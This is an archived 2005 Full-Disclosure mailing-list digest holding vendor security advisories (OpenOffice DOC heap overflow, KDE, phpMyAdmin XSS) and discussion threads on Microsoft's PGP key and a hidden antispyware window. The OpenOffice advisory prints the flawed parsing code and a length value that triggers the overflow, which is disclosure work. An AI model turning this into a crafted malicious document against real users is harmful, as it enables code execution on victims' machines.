> n2/oH+dnvksOcywmJ6iDAlGqvLv3
> =rq2s
> -----END PGP SIGNATURE-----
>
>
>
>
> Concerned about your privacy? Follow this link to get
> secure FREE email: http://www.hushmail.com/?l=2
>
> Free, ultra-private instant messaging with Hush Messenger
> http://www.hushmail.com/services-messenger?l=434
>
> Promote security and make money with the Hushmail Affiliate Program:
> http://www.hushmail.com/about-affiliate?l=427
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
--
Kind regards,

Thomas Kristensen
CTO

Secunia
Toldbodgade 37B
1253 Copenhagen K
Denmark

Tlf.: +45 7020 5144
Fax: +45 7020 5145

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[Full-disclosure] OpenOffice DOC document Heap Overflow

From: adlab (labvenustech.com.cn)
Date: Mon Apr 11 2005 - 09:58:31 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

OpenOffice DOC document Heap Overflow
[Security Advisory]

Advisory:[AD_LAB-05001] OpenOffice DOC document Heap Overflow
Class: Design Error
DATE:30/3/2005
CVEID:CAN-2005-0941
Vulnerable:
    <=OpenOffice OpenOffice 1.1.4
    -OpenOffice OpenOffice 2.0dev

Unvulnerable:
    Unknow
Vendor:
     www.openoffice.org

I.DESCRIPTION:
- -------------
     OpenOffice.org is an office productivity suite, including word
processing, spreadsheets, presentations, drawings, data charting,
formula editing, and file conversion facilities.
The vulnerability is caused due to a error within the .Doc document header
processing.This can be exploited to cause a heap-based buffer overflow.

II.DETAILS:
- ----------
    There is a vulnerability in StgCompObjStream::Load() function,
When reading DOC document information of format,memory is allocated by
DOC provide length.
DOC provided a 32 bits integer,and will use the low 16 bits of this
number to allocate memory,
but when reading doc information,still use the 32 bits number as
length,this maybe cause heap
overflow, and when free happened ,will cause write pointer,maybe cause
arbitrary code excute .

BOOL StgCompObjStream::Load()
{
    memset( &aClsId, 0, sizeof( ClsId ) );
    nCbFormat = 0;
    aUserName.Erase();
    if( GetError() != SVSTREAM_OK )
        return FALSE;
    Seek( 8L );
    INT32 nMarker = 0;
    *this >> nMarker;
    if( nMarker == -1L )
    {
        *this >> aClsId;
        INT32 nLen1 = 0;
        *this >> nLen1; // we can control this 32 bits int
        sal_Char* p = new sal_Char[ (USHORT) nLen1 ]; //use low 16 bits
value to allocate memory
        if( Read( p, nLen1 ) == (ULONG) nLen1 ) //still use 32 bits int
 as length,if failed,
                            // will goto free step,maybe cause write
pointer.
        {
            aUserName = String( p, gsl_getSystemTextEncoding() );
            ....
            nCbFormat = ReadClipboardFormat( *this );
        }
        else
            SetError( SVSTREAM_GENERALERROR );
        delete [] p; //free step,heap overflow cause write pointer.
    }
    return BOOL( GetError() == SVSTREAM_OK );
}
example:
    if we provide 0x10000018 to nLen1,will allocate 0x18 length memory,
 Read( p, nLen1 ) still use 0x10000018 as length,then, read will fail,
 but readed length is bigger than allocated memory,and overwrite the
next chunk.
when goto delete [] p;,write pointer happened. we had triggered this
problem successful.
    StartOffice maybe affected too. did not test.

III.CREDIT:
- ----------
    AD-LAB discovery this vuln:)
Vulnerability analysis and advisory by A1rsupp1y.
Special thanks to xalan's discussion.
Thank to Sam,icbm,liangbin and all Venustech AD-Lab guys:P.

V.DISCLAIMS:
- -----------

The information in this bulletin is provided "AS IS" without warranty of any
kind. In no event shall we be liable for any damages whatsoever
including direct,
indirect, incidental, consequential, loss of business profits or special
damages.

Copyright 1996-2005 VENUSTECH. All Rights Reserved. Terms of use.

VENUSTECH Security Lab
VENUSTECH INFORMATION TECHNOLOGY CO.,LTD(http://www.venustech.com.cn)

Security
Trusted {Solution} Provider
Service

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Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFCWpCW45qy6oo73eIRAva9AJ9PUOf0jENyJYaJym+bm8/nl5i9TwCeJdz2
jBhYvm+GdDABp2dW1mXiPkY=
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-----END PGP SIGNATURE-----
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RE: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Airey, John (John.Aireyrnib.org.uk)
Date: Mon Apr 11 2005 - 10:26:54 CDT


> -----Original Message-----
> From: full-disclosure-bounceslists.grok.org.uk
> [mailto:full-disclosure-bounceslists.grok.org.uk] On Behalf
> Of Microsoft Security Response Center
> Sent: 08 April 2005 20:21
> To: bugtraqsecurityfocus.com;
> ntbugtraqlistserv.ntbugtraq.com; full-disclosurelists.grok.org.uk
> Subject: [Full-disclosure] How to Report a Security
> Vulnerability toMicrosoft
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hello!
>
> The Microsoft Security Response Center investigates all
> reports of security vulnerabilities sent to us that affect
> Microsoft products.
> If you believe you have found a security vulnerability
> affecting a Microsoft product, we would like to work with you
> to investigate it.
>
> We are concerned that people might not know the best way to
> report security vulnerabilities to Microsoft. You can contact
> the Microsoft Security Response Center to report a
> vulnerability by emailing securemicrosoft.com directly, or
> you can submit your report via our web-based vulnerability
> reporting form located at:
> https://www.microsoft.com/technet/security/bulletin/alertus.aspx.
>
> Sincerely,
> Microsoft Security Response Center
[snip]

Unless there's something wrong at my end (I hope not), this message
doesn't appear to have been signed with the key at
http://www.microsoft.com/technet/Security/bulletin/pgp.mspx.

Am I right or not?

--
John Airey, BSc (Jt Hons), CNE, RHCE
Internet systems support officer, ITCSD, Royal National Institute of the
Blind,
Bakewell Road, Peterborough PE2 6XU,
Tel.: +44 (0) 1733 375299 Fax: +44 (0) 1733 370848
John.Aireyrnib.org.uk

I'm cycling the 2005 Etape du Tour in France to raise vital funds for
RNIB, if you'd like to sponsor me, visit
http://justgiving.com/rnibetape.

"A man cannot consider himself educated unless he has read the Bible" -
Abraham Lincoln

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RNIB endeavours to ensure that emails and any attachments generated by
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cannot accept any responsibility for any such which are transmitted.
We therefore recommend you scan all attachments.

Please note that the statements and views expressed in this email and
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Re: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Ag. System Administrator (sysadminagent.co.il)
Date: Mon Apr 11 2005 - 10:35:44 CDT


Airey, John wrote:
>>-----Original Message-----
>>From: full-disclosure-bounceslists.grok.org.uk
>>[mailto:full-disclosure-bounceslists.grok.org.uk] On Behalf
>>Of Microsoft Security Response Center
>>Sent: 08 April 2005 20:21
>>To: bugtraqsecurityfocus.com;
>>ntbugtraqlistserv.ntbugtraq.com; full-disclosurelists.grok.org.uk
>>Subject: [Full-disclosure] How to Report a Security
>>Vulnerability toMicrosoft
>>
>>-----BEGIN PGP SIGNED MESSAGE-----
>>Hash: SHA1
>>
>>Hello!
>>
>>The Microsoft Security Response Center investigates all
>>reports of security vulnerabilities sent to us that affect
>>Microsoft products.
>>If you believe you have found a security vulnerability
>>affecting a Microsoft product, we would like to work with you
>>to investigate it.
>>
>>We are concerned that people might not know the best way to
>>report security vulnerabilities to Microsoft. You can contact
>>the Microsoft Security Response Center to report a
>>vulnerability by emailing securemicrosoft.com directly, or
>>you can submit your report via our web-based vulnerability
>>reporting form located at:
>>https://www.microsoft.com/technet/security/bulletin/alertus.aspx.
>>
>>Sincerely,
>>Microsoft Security Response Center
>
> [snip]
>
> Unless there's something wrong at my end (I hope not), this message
> doesn't appear to have been signed with the key at
> http://www.microsoft.com/technet/Security/bulletin/pgp.mspx.
>
> Am I right or not?
>
not.

Key Id: 0xAA55BC66 / Signed on: 04/08/2005 10:17 PM

It's them...

Have fun,
Dan
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[Full-disclosure] SUSE Security Announcement: various KDE security problems (SUSE-SA:2005:022)

From: Marcus Meissner (meissnersuse.de)
Date: Mon Apr 11 2005 - 10:42:12 CDT


-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________

                        SUSE Security Announcement

        Package: kdelibs3
        Announcement-ID: SUSE-SA:2005:022
        Date: Mon, 11 Apr 2005 15:00:00 +0000
        Affected products: 9.1, 9.2, 9.3
                                SUSE Linux Enterprise Server 9
                                Novell Linux Desktop 9
        Vulnerability Type: remote code execution
                                local denial of service
        Severity (1-10): 8
        SUSE default package: yes
        Cross References: CAN-2005-0237
                                CAN-2005-0396

    Content of this advisory:
        1) security vulnerability resolved:
             several security problems in KDE
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
            See SUSE Security Summary Report.

        6) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion

    Several vulnerabilities have been identified and fixed in the KDE
    desktop environment.

    - A buffer overflow via specially crafted PCX pictures was fixed.

      This could lead to a remote attacker being able to execute code
      as the user opening or viewing a PCX images. This PCX image could
      have been embedded within a web page or Email.

      This affects SUSE Linux 9.1 up to 9.3, SUSE Linux Enterprise Server
      9 and Novell Linux Desktop 9.

    - The IDN domain name cloaking problem was fixed.

      A remote website could disguise its name as another potentially
      trusted site by using a extension originally meant for non-ASCII
      domain names by using "homographs" which look exactly like other
      letters.

      The fix used by KDE is only use homographs for trusted domains.
      It is disabled by default for the .net, .com and .org domains.

      This issue exists in SUSE Linux 9.1 and 9.2, SUSE Linux Enterprise
      Server 9 and Novell Linux Desktop 9. It has been assigned the
      Mitre CVE ID CAN-2005-0233.

    - A denial of service attack against the DCOP service was fixed.

      A local user could cause another users KDE session to visible hang
      by writing bad data to the world writable DCOP socket. The socket
      has been made writable only for the user itself.

      This was found by Sebastian Krahmer of SUSE Security.

      This affects all SUSE Linux versions, except SUSE Linux 9.3.
      Updates for SUSE Linux up to 9.0 and SUSE Linux Enterprise Server
      8 are not included for this minor issue. They will be included
      should a later security update for different issues be necessary.

      This is tracked by the Mitre CVE ID CAN-2005-0396.

    Additionally following bug was fixed:

    - A possible race in the DNS resolver causing unresolved hosts in rare
      cases was fixed. This only affected SUSE Linux 9.3.

2) solution/workaround

    Please install the updated packages.

3) special instructions and notes

    Make sure you restart your KDE session after this update.

4) package location and checksums

    Please download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command "rpm -Fhv file.rpm" to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered to install from the maintenance web.

    x86 Platform:

    SUSE Linux 9.3:
    ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/kdelibs3-3.4.0-20.3.i586.rpm
           6b63160218d7e9023418980186942ab3
    ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/x86_64/kdelibs3-32bit-9.3-7.1.x86_64.rpm
           7de0dcf016ad28f3f95c9110a376dc7b

    SUSE Linux 9.2:
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kdelibs3-3.3.0-34.5.i586.rpm
           47c8c9ccb24b30261de0910ff5bfa19e
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/kdelibs3-32bit-9.2-200504081300.x86_64.rpm
           7da9ca5c0cefb043ea170c59beaa588a

    SUSE Linux 9.1:
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kdelibs3-3.2.1-44.46.i586.rpm
           6dd4f0b38a750f256f6639decda2a968
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/i586/kdelibs3-32bit-9.1-200504071814.i586.rpm
           955791a7b3973698f2c9ea8b0cd09716
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kdelibs3-3.2.1-44.46.src.rpm
           3f5585b97d663b7d6d9bcac0f8c0b7a0

    x86-64 Platform:

    SUSE Linux 9.3:
    ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/x86_64/kdelibs3-3.4.0-20.3.x86_64.rpm
           5c79a3e9e143bd0c29ecbf7d4b4222a2
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/src/kdelibs3-3.4.0-20.3.src.rpm
           6a3f653fe866b9cfb7f9215fed404e94

    SUSE Linux 9.2:
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/x86_64/kdelibs3-3.3.0-34.5.x86_64.rpm
           d2970930a5757b3a2758eb53efda5d8b
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kdelibs3-3.3.0-34.5.src.rpm
           4ae72b2108db739ebc4aefca67b5b566

    SUSE Linux 9.1:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kdelibs3-3.2.1-44.46.x86_64.rpm
           7355ab449354f49fdc0de161d6fb86ab
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kdelibs3-3.2.1-44.46.src.rpm
           1587e0cfa6ce3dae17c4f6fa8c10ef01

______________________________________________________________________________

5) Pending vulnerabilities in SUSE Distributions and Workarounds:

    See SUSE Security Summary Report.

______________________________________________________________________________

6) standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key securitysuse.de),
       the checksums show proof of the authenticity of the package.
       We disrecommend to subscribe to security lists which cause the
       email message containing the announcement to be modified so that
       the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       filename of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an un-installed rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg < announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "buildsuse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .

  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-securitysuse.com
        - general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-subscribesuse.com>.

    suse-security-announcesuse.com
        - SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-announce-subscribesuse.com>.

    For general information or the frequently asked questions (faq)
    send mail to:
        <suse-security-infosuse.com> or
        <suse-security-faqsuse.com> respectively.

    =====================================================================
    SUSE's security contact is <securitysuse.com> or <securitysuse.de>.
    The <securitysuse.de> public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID Date User ID
pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <securitysuse.de>
pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <buildsuse.de>

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_______________________________________________
Full-Disclosure - We believe in it.
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RE: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Airey, John (John.Aireyrnib.org.uk)
Date: Mon Apr 11 2005 - 10:43:21 CDT


> -----Original Message-----
> From: Ag. System Administrator [mailto:sysadminagent.co.il]
> Sent: 11 April 2005 16:36
> To: Airey, John
> Cc: Full-Disclosure
> Subject: Re: [Full-disclosure] How to Report a Security
> Vulnerability toMicrosoft
>
>
>
> Airey, John wrote:
> >>-----Original Message-----
> >>From: full-disclosure-bounceslists.grok.org.uk
> >>[mailto:full-disclosure-bounceslists.grok.org.uk] On Behalf Of
> >>Microsoft Security Response Center
> >>Sent: 08 April 2005 20:21
> >>To: bugtraqsecurityfocus.com;
> >>ntbugtraqlistserv.ntbugtraq.com; full-disclosurelists.grok.org.uk
> >>Subject: [Full-disclosure] How to Report a Security Vulnerability
> >>toMicrosoft
> >>
> >>-----BEGIN PGP SIGNED MESSAGE-----
> >>Hash: SHA1
> >>
> >>Hello!
> >>
> >>The Microsoft Security Response Center investigates all reports of
> >>security vulnerabilities sent to us that affect Microsoft products.
> >>If you believe you have found a security vulnerability affecting a
> >>Microsoft product, we would like to work with you to investigate it.
> >>
> >>We are concerned that people might not know the best way to report
> >>security vulnerabilities to Microsoft. You can contact the
> Microsoft
> >>Security Response Center to report a vulnerability by emailing
> >>securemicrosoft.com directly, or you can submit your
> report via our
> >>web-based vulnerability reporting form located at:
> >>https://www.microsoft.com/technet/security/bulletin/alertus.aspx.
> >>
> >>Sincerely,
> >>Microsoft Security Response Center
> >
> > [snip]
> >
> > Unless there's something wrong at my end (I hope not), this message
> > doesn't appear to have been signed with the key at
> > http://www.microsoft.com/technet/Security/bulletin/pgp.mspx.
> >
> > Am I right or not?
> >
> not.
>
> Key Id: 0xAA55BC66 / Signed on: 04/08/2005 10:17 PM
>
> It's them...

That's the key id on the web page, but the key id of the key on that
page says 0x0B2E5E2D. It has fingerprint E561 2A79 6439 13E4 430B 92F0
2732 52F1 and never expires.

Can anyone else confirm this?

--
John Airey, BSc (Jt Hons), CNE, RHCE
Internet systems support officer, ITCSD, Royal National Institute of the
Blind,
Bakewell Road, Peterborough PE2 6XU,
Tel.: +44 (0) 1733 375299 Fax: +44 (0) 1733 370848
John.Aireyrnib.org.uk

I'm cycling the 2005 Etape du Tour in France to raise vital funds for
RNIB, if you'd like to sponsor me, visit
http://justgiving.com/rnibetape.

"A man cannot consider himself educated unless he has read the Bible" -
Abraham Lincoln

--
DISCLAIMER:

NOTICE: The information contained in this email and any attachments is
confidential and may be privileged. If you are not the intended
recipient you should not use, disclose, distribute or copy any of the
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RNIB endeavours to ensure that emails and any attachments generated by
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cannot accept any responsibility for any such which are transmitted.
We therefore recommend you scan all attachments.

Please note that the statements and views expressed in this email and
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Re: [Full-disclosure] Microsoft Jet (msjet40.dll) Exploit

From: Clemens Gotthard (pelzigeswaldtiergmail.com)
Date: Mon Apr 11 2005 - 12:54:19 CDT


And what does it do?

 On Apr 11, 2005 6:47 AM, Stuart Pearson <spearsoncomputerterrorism.com>
wrote:
>
> Microsoft Jet (msjet40.dll) Exploit
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

mcbainaol.com
Date: Mon Apr 11 2005 - 12:55:00 CDT


 well said, and not because i know you paul, or because i was also there this week/weekend. Your exactly right.
 
   They do want you to communicate with them (or vendors) in a more responsible manner but at the same time totally admit to their "PR issue" and how they have handled bug finders in the past and internal security in the past and are changing. There email in this thread is exactly the truth as it was written.
 
I also did enjoy unloading 1500$ worth of paint all over them
=)
 
Mike
www.michaelevanchik.com
 
-----Original Message-----
From: tuytumadreatt.net
To: Jason Coombs <jasoncscience.org>
Cc: Full-Disclosure <full-disclosurelists.grok.org.uk>
Sent: Mon, 11 Apr 2005 08:25:04 +0000
Subject: Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

Jason Coombs's comments and my replies:

> Wow, Paul. You sell your soul for a couple of mouthfuls of food?

I personally find this offensive. There was no "soul-selling" during my visit.
My comment was made to show that the guys (at least those that I met at MS) were
not brainwashed drones working for big brother as well as to prove the fact that
I don't work for Microsoft.

> No way is Microsoft to be trusted just because there are a bunch of
> potentially-good people doing technical work in the trenches. They are called
> 'pawns' and the abuse and exploitation of those people is legendary.

I also met a very important person who is in charge of Internet Explorer. He is
not out to get anyone with his world domination schemes as you like to imply.
You are right, however, when you say that they are not to be trusted "just
because there are a bunch of potentially-good people doing technical work in the
trenches." They are to be trusted because they are looking out for us and our
right to information privacy/safety.

> I say 'potentially' good because any one of them could, at any moment, quit
> Microsoft and by so doing prove themselves dedicated to creating a better
future
> for everyone, even when it means a little personal hardship to do so.

I must ask how this would prove oneself dedicated to creating a better future.
Wouldn't that worsen the future? I meen look at how many people use Microsoft
products. If everyone quits Microsoft, there would be no more Internet Explorer,
Windows, Office, etc. I don't know about you, but I am certainly not about to
commit to teaching my grandmother the intricate workings of a linux workstation,
especially for the reason that about all she can do is turn on her computer and
check her email.

You say a little personal hardship as if quiting one's job is a minor thing.
What if I told you that I didn't like your company and that you should quit your
job because it will be of little personal hardship to you, your spouse, or your
children (if any). In America, with the economy as it is, if you quit your job
because you want to "stick it to the man," and then you expect to find another
job right away, I have this to say to you: "good luck."
 
> You may have temporarily forgotten that the executives at Microsoft have done
> terrible things that have harmed every person on Earth. Fortunately, the rest
of
> us haven't.

Huh? If by terrible things you meen revolutionize the way we communicate and
interact with each other and the world around us, then you are right on the
money.
 
> Microsoft must know how to pick a nice bottle of wine.
I actually don't drink alchohol.

Sincerely,
Paul
Greyhats Security Group
http://greyhatsecurity.org
_______________________________________________
Full-Disclosure - We believe in it.
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] Oddness with the MS antispyware beta

From: MN Vasquez (mnvalumni.princeton.edu)
Date: Mon Apr 11 2005 - 13:02:38 CDT


I don't know if this is programming technique is "common", but I've not seen it before. I'm running the MS antispyware beta 1 on Windows XP sp2. I hooked up a 2nd monitor to my laptop. I set the resolution to 1600x1200, and the monitor position in relation to the primary, is to the left. Align the bottom screens. You can use a different resolution, I imagine, if you offset the positions of the monitors.

On the 2nd monitor I found a program window "hiding". Basically, in a very odd position -- on a typically non-displayed portion of the desktop, which I only found by configuring multiple monitors. It seems the programmers are "hiding" a window, which I have attached as a jpg. For those that don't want to open an attachment:

there are 5 buttons: systrayhide, systrayshow, systraynormal, systrascanning, systrayupdating.

The window title is gcasDtServHolder

Clicking the buttons modifies the tooltip associated with the system tray icon. I can hide/show the systray icon. The status of the icon also changes from Active to Running when Normal is selected, and I then click either the Scanning or Updating button.

Closing the window removes the system tray icon and apparently closes the program.

I do not know if this possibly leads to a vulnerability or not.

Mike

_______________________________________________
Full-Disclosure - We believe in it.
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ms.jpg
 
Re: [Full-disclosure] Oddness with the MS antispyware beta

From: Paul Kurczaba (seclistssecurinews.com)
Date: Mon Apr 11 2005 - 13:15:34 CDT


If you hold down "alt" + "tab", does the hidden windows name and icon
appear on the list?

MN Vasquez wrote:
> I don't know if this is programming technique is "common", but I've not
> seen it before. I'm running the MS antispyware beta 1 on Windows XP
> sp2. I hooked up a 2nd monitor to my laptop. I set the resolution to
> 1600x1200, and the monitor position in relation to the primary, is to
> the left. Align the bottom screens. You can use a different
> resolution, I imagine, if you offset the positions of the monitors.
>
> On the 2nd monitor I found a program window "hiding". Basically, in a
> very odd position -- on a typically non-displayed portion of the
> desktop, which I only found by configuring multiple monitors. It seems
> the programmers are "hiding" a window, which I have attached as a jpg.
> For those that don't want to open an attachment:
>
> there are 5 buttons: systrayhide, systrayshow, systraynormal,
> systrascanning, systrayupdating.
>
> The window title is gcasDtServHolder
>
> Clicking the buttons modifies the tooltip associated with the system
> tray icon. I can hide/show the systray icon. The status of the icon
> also changes from Active to Running when Normal is selected, and I then
> click either the Scanning or Updating button.
>
> Closing the window removes the system tray icon and apparently closes
> the program.
>
> I do not know if this possibly leads to a vulnerability or not.
>
> Mike
>
> ------------------------------------------------------------------------
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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Re: [Full-disclosure] Oddness with the MS antispyware beta

From: MN Vasquez (mnvalumni.princeton.edu)
Date: Mon Apr 11 2005 - 14:13:08 CDT


No, it's not present via Alt Tab. It's not in Task Mgrs application list,
or on the task bar. it may be on the processes list, but I have not yet
investigated it further.

I googled all the "button" names, but it yielded nada.

----- Original Message -----
From: "Paul Kurczaba" <seclistssecurinews.com>
To: "MN Vasquez" <mnvalumni.princeton.edu>
Cc: <full-disclosurelists.grok.org.uk>
Sent: Monday, April 11, 2005 11:15 AM
Subject: Re: [Full-disclosure] Oddness with the MS antispyware beta

> If you hold down "alt" + "tab", does the hidden windows name and icon
> appear on the list?
>
> MN Vasquez wrote:
>> I don't know if this is programming technique is "common", but I've not
>> seen it before. I'm running the MS antispyware beta 1 on Windows XP sp2.
>> I hooked up a 2nd monitor to my laptop. I set the resolution to
>> 1600x1200, and the monitor position in relation to the primary, is to the
>> left. Align the bottom screens. You can use a different resolution, I
>> imagine, if you offset the positions of the monitors.
>> On the 2nd monitor I found a program window "hiding". Basically, in a
>> very odd position -- on a typically non-displayed portion of the desktop,
>> which I only found by configuring multiple monitors. It seems the
>> programmers are "hiding" a window, which I have attached as a jpg. For
>> those that don't want to open an attachment:
>> there are 5 buttons: systrayhide, systrayshow, systraynormal,
>> systrascanning, systrayupdating.
>> The window title is gcasDtServHolder
>> Clicking the buttons modifies the tooltip associated with the system
>> tray icon. I can hide/show the systray icon. The status of the icon
>> also changes from Active to Running when Normal is selected, and I then
>> click either the Scanning or Updating button.
>> Closing the window removes the system tray icon and apparently closes
>> the program.
>> I do not know if this possibly leads to a vulnerability or not.
>> Mike
>>
>> ------------------------------------------------------------------------
>>
>>
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] [ GLSA 200504-08 ] phpMyAdmin: Cross-site scripting vulnerability

From: Luke Macken (lewkgentoo.org)
Date: Mon Apr 11 2005 - 14:16:44 CDT


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200504-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Low
     Title: phpMyAdmin: Cross-site scripting vulnerability
      Date: April 11, 2005
      Bugs: #87952
        ID: 200504-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

phpMyAdmin is vulnerable to a cross-site scripting attack.

Background
==========

phpMyAdmin is a tool written in PHP intended to handle the
administration of MySQL databases from a web-browser.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 dev-db/phpmyadmin < 2.6.2_rc1 >= 2.6.2_rc1

Description
===========

Oriol Torrent Santiago has discovered that phpMyAdmin fails to validate
input to the "convcharset" variable, rendering it vulnerable to
cross-site scripting attacks.

Impact
======

By sending a specially-crafted request, an attacker can inject and
execute malicious script code, potentially compromising the victim's
browser.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All phpMyAdmin users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=dev-db/phpmyadmin-2.6.2_rc1"

References
==========

  [ 1 ] PMASA-2005-3
        http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-3

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200504-08.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
RE: [Full-disclosure] Oddness with the MS antispyware beta

From: Larry Seltzer (larrylarryseltzer.com)
Date: Mon Apr 11 2005 - 14:22:32 CDT


Someone should ask about this on the MS Windows AntiSpyware (Beta)
Newsgroups:
http://communities.microsoft.com/newsgroups/default.asp?ICP=spyware&sLCID;us

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzerziffdavis.com

-----Original Message-----
From: full-disclosure-bounceslists.grok.org.uk
[mailto:full-disclosure-bounceslists.grok.org.uk] On Behalf Of MN Vasquez
Sent: Monday, April 11, 2005 3:13 PM
To: Paul Kurczaba
Cc: full-disclosurelists.grok.org.uk
Subject: Re: [Full-disclosure] Oddness with the MS antispyware beta

No, it's not present via Alt Tab. It's not in Task Mgrs application list,
or on the task bar. it may be on the processes list, but I have not yet
investigated it further.

I googled all the "button" names, but it yielded nada.

----- Original Message -----
From: "Paul Kurczaba" <seclistssecurinews.com>
To: "MN Vasquez" <mnvalumni.princeton.edu>
Cc: <full-disclosurelists.grok.org.uk>
